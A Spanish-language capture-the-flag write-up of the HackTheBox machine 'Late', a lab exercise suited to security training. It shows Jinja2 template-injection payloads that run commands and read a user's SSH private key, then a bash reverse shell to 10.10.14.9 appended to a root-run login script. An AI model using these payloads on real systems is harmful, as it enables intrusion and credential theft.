Late es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Late 10.10.11.156 a /etc/hosts como late.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sV -sC -oA enumeration/nmap1 -Pn 10.10.11.156 Nmap scan report for 10.10.11.156 Host is up (0.095s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA) | 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA) |_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Late - Best online image tools Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jul 24 07:56:47 2022 -- 1 IP address (1 host up) scanned in 23.27 seconds |
Observamos poca cosa en esta máquina, un puerto 22 para el que no tenemos credenciales y un portal web en el puerto 80 servido por nginx.
Enumeración
Comenzamos revisando el portal web en el puerto 80 y vemos la siguiente página
Se trata de un simple portal web, revisamos un poco por encima y encontramos un subdominio revisando el código fuente de la aplicación
Así que vamos a añadir el dominio images.late.htb a nuestro fichero /etc/hosts y accederemos al mismo, viendo una página de conversión de imagen a texto que luce como se ve en la siguiente captura de pantalla
Para ver como funciona la aplicación vamos a crear una imagen con el siguiente texto
1 2 |
esto es una prueba de la conversion de imagen a texto |
Y subimos la imagen. La aplicación nos devolverá un fichero de texto llamado results-1.txt con el texto detectado en nuestra imagen entre las etiquetas <p></p>
Revisando la aplicación basada en Flask y navegando un poco encontramos una vulnerabilidad en SSTI, así que vamos a crear otra imagen para tratar de explotar la misma.
Hacemos una captura del siguiente texto
1 2 3 |
esto es una prueba de ssti {{ 4*4 }} prueba ssti |
Y la subimos al portal, obteniendo el siguiente resultado
Y efectivamente es vulnerable a esta vulnerabilidad así que vamos a ir más allá.
Vamos a tratar de descubrir el usuario sobre el cual está siendo ejecutada la aplicación con el siguiente payload
1 2 3 |
prueba {{ namespace.__init__.__globals__.os.popen('id').read() }} prueba |
Y el resultado es el siguiente:
Ya tenemos el usuario, y se trata de svc_acc, así que ahora vamos a tratar de obtener acceso a la misma, después de alguna que otra prueba descubrimos que tiene la clave ssh almacenada en su home así que vamos a descargarnos la misma con el siguiente payload
1 |
{{ namespace.__init__.__globals__.os.popen("~/.ssh/id_rsa").read() }} |
Con la clave en nuestro poder nos queda probar el acceso y entrar a la máquina
1 2 3 4 5 6 7 8 9 |
$ ssh -i keys/svc_acc.pem svc_acc@10.10.11.156 The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established. ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts. svc_acc@late:~$ id uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc) svc_acc@late:~$ |
Obteniendo la flag de user
Ahora que ya estamos dentro, simplemente obtenemos la flag del usuario svc_acc
1 2 3 |
svc_acc@late:~$ cat user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxx4 svc_acc@late:~$ |
Escalado de privilegios
Una vez dentro enumeramos la máquina para encontrar posibles formas de escalar privilegios, y observamos un proceso interesante con pspy
Si analizamos el comportamiento, cada vez que un usuario se loguea en el sistema, root, realiza la siguiente ejecución
1 |
/bin/bash /usr/local/sbin/ssh-alert.sh |
Así que vamos a ver que hay en ese fichero
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
svc_acc@late:/tmp$ cat /usr/local/sbin/ssh-alert.sh #!/bin/bash RECIPIENT="root@late.htb" SUBJECT="Email from Server Login: SSH Alert" BODY=" A SSH login was detected. User: $PAM_USER User IP Host: $PAM_RHOST Service: $PAM_SERVICE TTY: $PAM_TTY Date: `date` Server: `uname -a` " if [ ${PAM_TYPE} = "open_session" ]; then echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT} fi |
El script manda un mail a root alertando cuando un usuario se loguea así que vamos a ver si podemos editar el mismo, pero no tenemos permisos para ello, en cambio vemos que dispone del bit de append por lo que podemos añadir contenido personalizado al mismo.
1 2 |
svc_acc@late:/tmp$ lsattr /usr/local/sbin/ssh-alert.sh -----a--------e--- /usr/local/sbin/ssh-alert.sh |
Visto esto, añadimos una reverse shell al fichero
1 |
echo "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh |
Abrimos una nueva sesión en la máquina y automáticamente obtenemos root en nuestra escucha
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from late.htb [10.10.11.156] 51832 bash: cannot set terminal process group (3893): Inappropriate ioctl for device bash: no job control in this shell root@late:/# root@late:/# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ya estamos dentro como root, así que simplemente cogemos nuestra flag para terminar la máquina
1 2 3 4 |
root@late:/# cat /root/root.txt cat /root/root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1 root@late:/# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace